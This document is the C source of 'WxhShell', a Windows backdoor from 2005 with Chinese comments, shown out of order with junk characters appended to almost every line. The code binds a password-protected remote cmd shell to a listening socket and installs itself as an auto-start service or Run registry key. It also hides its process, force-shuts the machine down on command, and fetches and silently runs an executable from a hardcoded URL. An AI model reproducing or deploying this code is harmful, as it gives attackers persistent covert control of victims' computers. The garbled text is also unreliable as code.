    } \dc*!Es  
    break; GxcW^{;  
    } 8AVG pL  
  // 关机 :l?/]K  
  case 'd': { B"fKv0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /kK:{  
    if(Boot(SHUTDOWN)) Hqm1[G)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BvV!?DY4  
    else { )qV&sru.$  
    closesocket(wsh); LDv>hzo  
    ExitThread(0); )1S"D~j-  
    } \{M/Do:  
    break; %W]" JwRu  
    } ^G]H9qY- e  
  // 获取shell gpzZs<ST  
  case 's': { SI@Yct]<g  
    CmdShell(wsh); 9q f=P3  
    closesocket(wsh); - -H%FYF`  
    ExitThread(0); :~+m9r  
    break; 7`Bwo*Y  
  } kv'gs+,e  
  // 退出 d<B=p&~  
  case 'x': { K_E- Hgg_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7[u$!.4{*  
    CloseIt(wsh); Stxrgmu  
    break; H?<c eK'e  
    } {oc7Chv=/H  
  // 离开 23=SXA!  
  case 'q': { ZpQ8KY$ 5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /A~+32 B  
    closesocket(wsh); LS4|$X4H`!  
    WSACleanup(); _q dLA  
    exit(1); 2 VGGSLr  
    break; [xsiSt?6  
        } iKN800^u  
  } ck4g=QpD{  
  } tM;S )S(=  
P_3U4J  
  // 提示信息 G`r*)pdm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QHuh=7u)  
} E?Ofkc$q  
  } j8"2K^h=  
1 |zy6  
  return; 5uufpvah  
} oc3}L^aD  
(N25.}8Y  
// shell模块句柄 '=eE6=m^K  
int CmdShell(SOCKET sock) <FFaaGiE>  
{ @:"GgkyDl#  
STARTUPINFO si; <E.$4/T  
ZeroMemory(&si,sizeof(si)); {Lm%zdk*k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;NzS;C'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; trC+Etc   
PROCESS_INFORMATION ProcessInfo; y()Si\9v  
char cmdline[]="cmd"; E)7ODRVbl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p~w|St 7jg  
  return 0; *=ymK*  
} r@m2foaO  
-P3;7_}]:h  
// 自身启动模式 ,dIo\Lm  
int StartFromService(void) "G`8>1tO_  
{ Z w&_Wt  
typedef struct _{5t/^w&!  
{ 15^5y RXC  
  DWORD ExitStatus; CAD:ifV  
  DWORD PebBaseAddress; X@n\~[.B  
  DWORD AffinityMask; Z'I0e9Jw  
  DWORD BasePriority; !p~K;p,  
  ULONG UniqueProcessId; L7lRh=D  
  ULONG InheritedFromUniqueProcessId; E[RLBO[*n  
}   PROCESS_BASIC_INFORMATION; %d\|a~p:  
W=k%aB?p  
PROCNTQSIP NtQueryInformationProcess; ;c_pa0L  
w+0Ch1$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /o_h'l|PS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5{&<X.jv  
TGJ\f  
  HANDLE             hProcess; zUhJr$N$  
  PROCESS_BASIC_INFORMATION pbi; ?~5J!|r#  
9w! G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eL+L {Ac  
  if(NULL == hInst ) return 0; nE)|6  
0w_2E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _~ipO1*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U@$=0*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U 0M>A  
HjFY >(e  
  if (!NtQueryInformationProcess) return 0; Hf'yRKACj  
@Sl!p)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t!Uc, mEV]  
  if(!hProcess) return 0; q|A-h'  
 Dy[ YL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F^]?'`7md  
cs%NsnZ  
  CloseHandle(hProcess); '0xJp|[xVP  
&Tf R].  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HGgw<Os-k  
if(hProcess==NULL) return 0; A<&:-Zz  
D?w-uR%Y  
HMODULE hMod; drQioH-  
char procName[255]; |UO1vA@  
unsigned long cbNeeded; 2.K"+%  
{mp;^/O`er  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \JLiA>@@  
JqdNO:8  
  CloseHandle(hProcess); n>dM OQb  
"p\XaClpz  
if(strstr(procName,"services")) return 1; // 以服务启动 >)N}V'9  
Lz VvUVk  
  return 0; // 注册表启动 RhJL`>W`  
} 2,>q(M6,EA  
qKL_1 ~  
// 主模块 Hf/2KYZ  
int StartWxhshell(LPSTR lpCmdLine) lE54RX}e4  
{ ?ExfxR!~  
  SOCKET wsl; \\D~Yg\#  
BOOL val=TRUE; A*h)p@3t<  
  int port=0; rr[9sk`^H  
  struct sockaddr_in door; rwxJR@Ttn  
fuH Dif,  
  if(wscfg.ws_autoins) Install(); XKsG2>l-W  
V#TA%>  
port=atoi(lpCmdLine); (!';  
Oed&B  
if(port<=0) port=wscfg.ws_port; 7#,+Q(2  
(WW,]#^  
  WSADATA data; "gCSbMq(Vq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B(MO!GNg=  
nDvny0^a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]T+.kC M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >NE]TZ.F  
  door.sin_family = AF_INET; YV 9*B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qR_"aQ7s2  
  door.sin_port = htons(port); UY **3MK  
w9}I*Nra  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y5 4*mn  
closesocket(wsl); v] *W*;  
return 1; e<^tY0rR&  
} 0nAeeVz|  
Iw"?%k\U  
  if(listen(wsl,2) == INVALID_SOCKET) { }}qR~.[  
closesocket(wsl); 2597#O  
return 1; >t8eVMMa  
} r/Pg,si  
  Wxhshell(wsl); +V |]:{3W  
  WSACleanup(); /$rS0@p  
nWZrB s _  
return 0; YKh%`Y1<  
?NI)3-l  
} %!rsu-W:Y  
Yb =8\<;  
// 以NT服务方式启动 Pr<?E[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :B- ,*@EU  
{ {uj9fE,)  
DWORD   status = 0; j )F~C8*  
  DWORD   specificError = 0xfffffff; %h%r6EB1F  
Ro:-u7q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S0=BfkHi.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q#\eL~k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d(a6vEL4  
  serviceStatus.dwWin32ExitCode     = 0; Iz{AA-  
  serviceStatus.dwServiceSpecificExitCode = 0; ((dG<  
  serviceStatus.dwCheckPoint       = 0; .^kTb2$X  
  serviceStatus.dwWaitHint       = 0; l:@.D|(o3  
wU#Q>ut'%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9 I RE@c  
  if (hServiceStatusHandle==0) return; #8/Z)-G  
dy`~%lX?  
status = GetLastError(); 1xtbhk]D  
  if (status!=NO_ERROR) Vxgc|E^J  
{ )QZ?Bf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6ldDt?iSg  
    serviceStatus.dwCheckPoint       = 0; fQx 4/4j  
    serviceStatus.dwWaitHint       = 0; R4qk/@]t  
    serviceStatus.dwWin32ExitCode     = status; DTIy/  
    serviceStatus.dwServiceSpecificExitCode = specificError; m d C. FO-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j#p3c  
    return; G#% =R`k/  
  } 56':U29.]  
Nq~bO_-I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kD; BwU[  
  serviceStatus.dwCheckPoint       = 0; i&LbSxUh9  
  serviceStatus.dwWaitHint       = 0; r?V|9B`$p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mU&J,C  
} qbAoab53  
4t8 Hy  
// 处理NT服务事件,比如:启动、停止 Vfw$>og!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jY?%LY@5I  
{ *smo{!0Gg  
switch(fdwControl) `aI%laj&M  
{ ?y04g u6p  
case SERVICE_CONTROL_STOP: :!A@B.E  
  serviceStatus.dwWin32ExitCode = 0; z(%Zji@!N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W4YC5ZH{l  
  serviceStatus.dwCheckPoint   = 0; 4*dT|NU  
  serviceStatus.dwWaitHint     = 0; "1#,d#Q$  
  { 1%=,J'AH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i'EXylb  
  } 5g&'n  
  return; a,tP.Xsl  
case SERVICE_CONTROL_PAUSE: j/Kw-h ,5"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; be@MQ}6>  
  break; uuC/F_='B  
case SERVICE_CONTROL_CONTINUE: {jq-dL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p' gv5\u[w  
  break; H5aUZ=  
case SERVICE_CONTROL_INTERROGATE: _88~uYG  
  break; `H|g~7KD&  
}; I%s/h4x^B[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E|fPI u  
} $ `ho+  
. }1!MK5  
// 标准应用程序主函数 BW*zj=N%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }gn0bCJy  
{ O0I/^  
,#m\W8j  
// 获取操作系统版本 x-W0 h  
OsIsNt=GetOsVer(); C'$U1%: j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CRf^6k_;(  
Cv=0&S.  
  // 从命令行安装 lubS{3<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7)]G"m{  
A6Qi^TI  
  // 下载执行文件 GS^4t mc  
if(wscfg.ws_downexe) { l-npz)EM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }Ag2c; aaq  
  WinExec(wscfg.ws_filenam,SW_HIDE); lwB!ti  
} 2]'ozs$|v  
w])Sz*J  
if(!OsIsNt) { &S{F"z  
// 如果时win9x,隐藏进程并且设置为注册表启动 oc?VAF  
HideProc(); &KB{,:)?  
StartWxhshell(lpCmdLine); D;E&;vP6%  
} xSf3Ir(,  
else .KD07  
  if(StartFromService()) j?,$*Fi  
  // 以服务方式启动 0jyokER  
  StartServiceCtrlDispatcher(DispatchTable); 2,fB$5+  
else R3<+z  
  // 普通方式启动 $200?[  
  StartWxhshell(lpCmdLine); qnlj~]NV  
npF[J x[  
return 0; f0uiNy(r$  
} ^m7PXY  
,s)H%  
AX)zSrXn  
BOG )JaDW  
=========================================== c2U>89LlZ  
*!Dzst-J3  
bM'AD[  
Ob6vg^#  
ibq@0CR  
,yF)7fN  
" ~:@H6Ke[  
4j*}|@x  
#include <stdio.h> WAEKvM4*i0  
#include <string.h> : )z_q!$j  
#include <windows.h> :s5g6TR  
#include <winsock2.h> O<hHo]jLF  
#include <winsvc.h> )v9[/ ]*P  
#include <urlmon.h> qq` RfZjL  
\z{Y(dS  
#pragma comment (lib, "Ws2_32.lib") |bk*Lgkzw  
#pragma comment (lib, "urlmon.lib") U!5@$Fu  
@K/I a!Lw  
#define MAX_USER   100 // 最大客户端连接数 @.{  
#define BUF_SOCK   200 // sock buffer A_.QHUjpx  
#define KEY_BUFF   255 // 输入 buffer |); >wV"  
UdGoPzN  
#define REBOOT     0   // 重启 GxkG$B  
#define SHUTDOWN   1   // 关机 V#~. Jg7  
u62sq: GjH  
#define DEF_PORT   5000 // 监听端口  /F_ :@#H  
JVkawkeX  
#define REG_LEN     16   // 注册表键长度 DHAWUS6  
#define SVC_LEN     80   // NT服务名长度 ~JXHBX  
%Z7!9+<  
// 从dll定义API  >4\xcL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B'Wky>5)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w.8~A,5}Dh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'GFzI:Xr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]VvJ1Xn0  
1@WGbORc*  
// wxhshell配置信息 82X.  
struct WSCFG { ^Toi_  
  int ws_port;         // 监听端口 R+K[/AA  
  char ws_passstr[REG_LEN]; // 口令 #RF=a7&F  
  int ws_autoins;       // 安装标记, 1=yes 0=no Trrh`@R  
  char ws_regname[REG_LEN]; // 注册表键名 gy{a+Wbc*  
  char ws_svcname[REG_LEN]; // 服务名 @I&"P:E0F;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Wf@'~K0k"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `T70FsSJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q-F9oZ*0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "7HB3?2>W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~laZ(Bma);  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 asg>TO W  
o >Lk`\  
}; US4Um>j  
z+*Z<c5d  
// default Wxhshell configuration -?W@-*J  
struct WSCFG wscfg={DEF_PORT, | 6>_L6t  
    "xuhuanlingzhe", aM~fRra7  
    1, f2wW2]Fg  
    "Wxhshell", W%1S:2+Kl  
    "Wxhshell", zqh{=&Tjx  
            "WxhShell Service", Db=gS=Qm  
    "Wrsky Windows CmdShell Service", gnXjd}  
    "Please Input Your Password: ", V5B-S.i@  
  1, W(aRO  
  "http://www.wrsky.com/wxhshell.exe", -e~U u  
  "Wxhshell.exe" @m V C  
    }; { rT`*P~  
u3vmC:bV  
// 消息定义模块 q3F5\6aN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^mi4q[PM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |Z ,G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q7|13^ |C  
char *msg_ws_ext="\n\rExit."; !qlGt)G3  
char *msg_ws_end="\n\rQuit."; mB{{o}'<u  
char *msg_ws_boot="\n\rReboot..."; ??Zmj:8E'  
char *msg_ws_poff="\n\rShutdown..."; X}(0y  
char *msg_ws_down="\n\rSave to "; N^+ww]f?  
6mdnEmFM]  
char *msg_ws_err="\n\rErr!"; F"xO0t  
char *msg_ws_ok="\n\rOK!"; ~-5@- V  
iIE(zw)H  
char ExeFile[MAX_PATH]; <^U(ya  
int nUser = 0; %7msAvbk  
HANDLE handles[MAX_USER]; >|)0Amt  
int OsIsNt; [.X%:H+  
FE}!bKh  
SERVICE_STATUS       serviceStatus; ` l2q G#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n5.>;N.*  
PQ}%}S7:  
// 函数声明 Jj:6 c  
int Install(void); \w^QHX1+  
int Uninstall(void); cO,V8#H  
int DownloadFile(char *sURL, SOCKET wsh); zU~..;C  
int Boot(int flag); N}fUBX4k  
void HideProc(void); N-`;\  
int GetOsVer(void); hX m} d\  
int Wxhshell(SOCKET wsl); ,dx)rZ*  
void TalkWithClient(void *cs); JtpY][}"~3  
int CmdShell(SOCKET sock); L\NZDkd  
int StartFromService(void); S |>$0P4W(  
int StartWxhshell(LPSTR lpCmdLine);  7E`(8i  
5L}>+js2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V:BX"$ J1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nud=uJ"(  
iIaT1i4t.  
// 数据结构和表定义 9T2A)a]0  
SERVICE_TABLE_ENTRY DispatchTable[] = zpqGh  
{ *W12Rb2  
{wscfg.ws_svcname, NTServiceMain}, #}dVaXY)  
{NULL, NULL} 61W/BU7O  
}; hG7S]\N_  
VONAw3k7!  
// 自我安装 QO{=Wi-  
int Install(void) !y-2#  
{ eJw="  
  char svExeFile[MAX_PATH]; Eqbe$o`dd  
  HKEY key; `uh@iD'KI  
  strcpy(svExeFile,ExeFile); |<-F|v9og  
<{420  
// 如果是win9x系统,修改注册表设为自启动 rAWl0y_m  
if(!OsIsNt) { +RV-VrV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S tnv>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UVc<C 1 q  
  RegCloseKey(key); ^}Qj}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QZ3(u<f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HDVl5X`j'  
  RegCloseKey(key); fu<2t$Cn>  
  return 0; `E5"Pmg  
    } P5>5ps"iU  
  } `%M-7n9Y  
} W Gw!Y1wq  
else { 2l@"p!ar=  
=HY1l}\  
// 如果是NT以上系统,安装为系统服务 @f{_=~+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8ts+'65|F  
if (schSCManager!=0) vA"niO  
{ \c~{o+UD-  
  SC_HANDLE schService = CreateService knOn UU  
  ( ,p!B"# ot  
  schSCManager, 030U7VT1  
  wscfg.ws_svcname, z5` 8G =A  
  wscfg.ws_svcdisp, EeJqszmH  
  SERVICE_ALL_ACCESS, j;20JA/b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0[:9 Hb6  
  SERVICE_AUTO_START, OR\DTLIl  
  SERVICE_ERROR_NORMAL, pEVgJ/>  
  svExeFile, #[a"%byTR  
  NULL, ) wY!/&  
  NULL, g&+Y{*Gp  
  NULL, qC1U&b#MVx  
  NULL, H5rPq_R  
  NULL P:(EU s}0  
  ); .L7Yf+yFg  
  if (schService!=0) /^LH  
  { *SkiFEoD  
  CloseServiceHandle(schService); j\'+wVyo  
  CloseServiceHandle(schSCManager); p x|>v8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1Vf78n  
  strcat(svExeFile,wscfg.ws_svcname); oY%"2PW1B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a1G9wC:e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *i?rJH  
  RegCloseKey(key); b>QM~mq3^I  
  return 0; tyuk{* Me:  
    } 3gG+`{<  
  } "65||[=8  
  CloseServiceHandle(schSCManager); *:9 >W$0u  
} H 5U x.]y  
} .vN%UNu  
2K]IlsMO&  
return 1; Y:%m;b$]  
} 6KEykw j  
lC=N:=Mu  
// 自我卸载 }2ql?K  
int Uninstall(void) m\/,cc@,  
{ `u#;MUg  
  HKEY key; 2"leUur~rO  
1Sg|3T8bGT  
if(!OsIsNt) { f4'El2>-86  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v`S2M  
  RegDeleteValue(key,wscfg.ws_regname); L/q]QgCoA  
  RegCloseKey(key); ]bTzbu@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j9URl$T:  
  RegDeleteValue(key,wscfg.ws_regname); +_ *eu  
  RegCloseKey(key); x*me'?q  
  return 0; dU oWo3r=  
  } E+}GxFG-:  
} ;GE26Ymqly  
} Cs:+93w  
else { ^n&]HzT`y  
s>jr1~~3O_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X-kXg)!Bg  
if (schSCManager!=0) ]6{(Hjt  
{ qGnPnQc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uw Kh  
  if (schService!=0) VY/|WD~"CW  
  { j-J(C[[9  
  if(DeleteService(schService)!=0) { 48tcgFg[  
  CloseServiceHandle(schService); M*5,O   
  CloseServiceHandle(schSCManager); `]`=]*d  
  return 0; M=5d95*-}  
  } =U4f}W;  
  CloseServiceHandle(schService); &|Lh38s@$#  
  } #puQi  
  CloseServiceHandle(schSCManager); ih>a~U<  
} Z+Yeg  
} (9mbF%b  
{I0w`xe  
return 1; ePp[m zg6  
} bz{^h'  
j)jCu ;`  
// 从指定url下载文件 <nDNiM#  
int DownloadFile(char *sURL, SOCKET wsh) +I|Rk&  
{ dqqnCXYuW  
  HRESULT hr;  vv+TKO  
char seps[]= "/"; F:M>z=  
char *token; 6xH;: B)d  
char *file; X=v~^8M7%  
char myURL[MAX_PATH]; 5>k>L*5J  
char myFILE[MAX_PATH]; wgY6D!Y   
9p <:=T  
strcpy(myURL,sURL); [34zh="o  
  token=strtok(myURL,seps); tT;8r8@  
  while(token!=NULL) gjW\ XY  
  { ,*/Pg 52?  
    file=token; ]SFWt/<  
  token=strtok(NULL,seps); pw@`}cM=  
  } ]\A1mw-T  
w#*/y?"D  
GetCurrentDirectory(MAX_PATH,myFILE); m8'@UzB  
strcat(myFILE, "\\"); bb|}'  
strcat(myFILE, file); >s&XX, w  
  send(wsh,myFILE,strlen(myFILE),0); >n]oB~P%  
send(wsh,"...",3,0); A-Mj|V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HHz;0V4w?  
  if(hr==S_OK) q75ky1^1:  
return 0; (tepmcf  
else s(teQ\  
return 1; p-.Ri^p   
NX?}{'f  
} 5XDgs|8  
8tU>DJ}0  
// 系统电源模块 ?RHn @$g8M  
int Boot(int flag) 'X9AG6K1  
{ lM>.@:  
  HANDLE hToken; :-z&Y492  
  TOKEN_PRIVILEGES tkp; K[kds`  
a$d:_,\ "  
  if(OsIsNt) { G.E[6G3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aX|g S\zx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zm> >} 5R  
    tkp.PrivilegeCount = 1; !X-9Ms}(d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j(j#0dXLh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [w!C*_V 9  
if(flag==REBOOT) { G\R*#4cF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T/ik/lFI  
  return 0; KYp[Gs  
} iQqqs`K  
else { tww=~!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $]C=qM28-  
  return 0; wh%xkXa[ur  
} lr,q{;  
  } Z:!IX^q;}n  
  else { Mm5c8[   
if(flag==REBOOT) { )i;un.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _6ZzuVv3/  
  return 0; I!P4(3skAB  
} ?=<~^Lk  
else { H<g 1m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xx_tpC?  
  return 0; \wYc1M@7V  
} qe<Hfp/p  
} q]CeD   
1w`2Dt  
return 1; LT/mb2  
} S#tY@h@XV  
:_v!#H)  
// win9x进程隐藏模块 @OzMiN  
void HideProc(void) Hfh!l2P  
{ fN@{y+6  
`{[RjM`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UbO4%YHt  
  if ( hKernel != NULL ) 5Tedo~v  
  { vwmBUix  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !scD|ti  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {=67XrWN1  
    FreeLibrary(hKernel); 8f|98T"  
  } j C)-`_  
5MR,UgT  
return; qw<HY$3=  
} /& r|ec5  
Lkn4<'un  
// 获取操作系统版本 -jB3L:  
int GetOsVer(void) z8E1m"  
{ ];1R&:t  
  OSVERSIONINFO winfo; &kzj?xK=(j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cL G6(<L  
  GetVersionEx(&winfo); rh66_eV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E;9>ePd@  
  return 1; &n:{x}Uc  
  else 3@_Elu  
  return 0; zyFUl%  
} L0L2Ns  
M/pMs 6  
// 客户端句柄模块 <.bRf  
int Wxhshell(SOCKET wsl) 1Ipfw  
{ Xh F _]  
  SOCKET wsh; D<>@ %"%  
  struct sockaddr_in client; XRxj  W  
  DWORD myID; Be2lMC  
p $Hi[upy  
  while(nUser<MAX_USER) | &7S8Q  
{ H;Ku w  
  int nSize=sizeof(client); t0Mx!p'T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wP<07t[-g  
  if(wsh==INVALID_SOCKET) return 1; z=g$Exl  
pvF-Y9Xb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vcv CD7MD  
if(handles[nUser]==0) BhkoSkr  
  closesocket(wsh); ((bTwx  
else O$D?A2eI  
  nUser++; ;SY\U7B\  
  } aJzLrX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cE\>f8 I  
!Ms[eB  
  return 0; yCP4r6X0  
} /TV= $gB`  
Dvc&RG  
// 关闭 socket e2cP *J  
void CloseIt(SOCKET wsh) ;j9\b9m  
{ w!&~??&=}  
closesocket(wsh); QI_4*  
nUser--; ) #+^ sAO  
ExitThread(0); l63hLz  
} BUsV|e\  
y(i Y  
// 客户端请求句柄 h&;t.Gdf  
void TalkWithClient(void *cs) nB5zNyY4  
{ k XrlSaIc  
KOh A)  
  SOCKET wsh=(SOCKET)cs; fuMJdAuY7d  
  char pwd[SVC_LEN]; /.1. MssQM  
  char cmd[KEY_BUFF]; _>yoX  
char chr[1]; Uz dc  
int i,j; aG%, cQ1  
'e!J06  
  while (nUser < MAX_USER) { ; )Eo7?]-  
F_H82BE+3  
if(wscfg.ws_passstr) { .i Hn5SGA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >V$ Gx>I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] )}]/Qw  
  //ZeroMemory(pwd,KEY_BUFF); Qk976  
      i=0; }H"kU2l  
  while(i<SVC_LEN) { eE@&ze>X  
}4//@J?:  
  // 设置超时 V[nQQxWp=  
  fd_set FdRead; i+{yMol1  
  struct timeval TimeOut; yuhnYR\`m  
  FD_ZERO(&FdRead); )B$;Vs] @i  
  FD_SET(wsh,&FdRead); <RNJ>>0  
  TimeOut.tv_sec=8; T~:|!`  
  TimeOut.tv_usec=0; 4\M.6])_   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EYX$pz(x;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $O)3 q $|  
Sa1 l=^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iyta;dw9  
  pwd=chr[0]; >>{FzR  
  if(chr[0]==0xd || chr[0]==0xa) { %9oYw9 H!  
  pwd=0; O1'm@ q)  
  break; 2lVHZ\G  
  } "Wo,'8{v  
  i++; NnT g3:.  
    } $~;D9  
-E"GX  
  // 如果是非法用户,关闭 socket /X'(3'a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G 2!xPHz  
} fw6UhG  
/FP5`:PfL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q[F}r`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ vilgg~  
 rl2&^N  
while(1) { }a AH  
ig}A9j?]  
  ZeroMemory(cmd,KEY_BUFF); \p{5D`HY  
e]=lKxFh&l  
      // 自动支持客户端 telnet标准   a ^d8I  
  j=0; : j }fC8'  
  while(j<KEY_BUFF) { zOgTQs"ZH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 03E4cYxt5  
  cmd[j]=chr[0]; 4k-+?L!/G  
  if(chr[0]==0xa || chr[0]==0xd) { *jIqAhs0{  
  cmd[j]=0; 4;`oUt'.  
  break; V'*~L\;pU  
  } !`41q=r  
  j++; u VyGk~  
    } 2owEw*5jl/  
o]:3H8  
  // 下载文件 Ig]iT  
  if(strstr(cmd,"http://")) { kVK/9dy-F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OCZaQ33  
  if(DownloadFile(cmd,wsh)) Suk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sf5X3,Uw  
  else $Iv2j">3)  
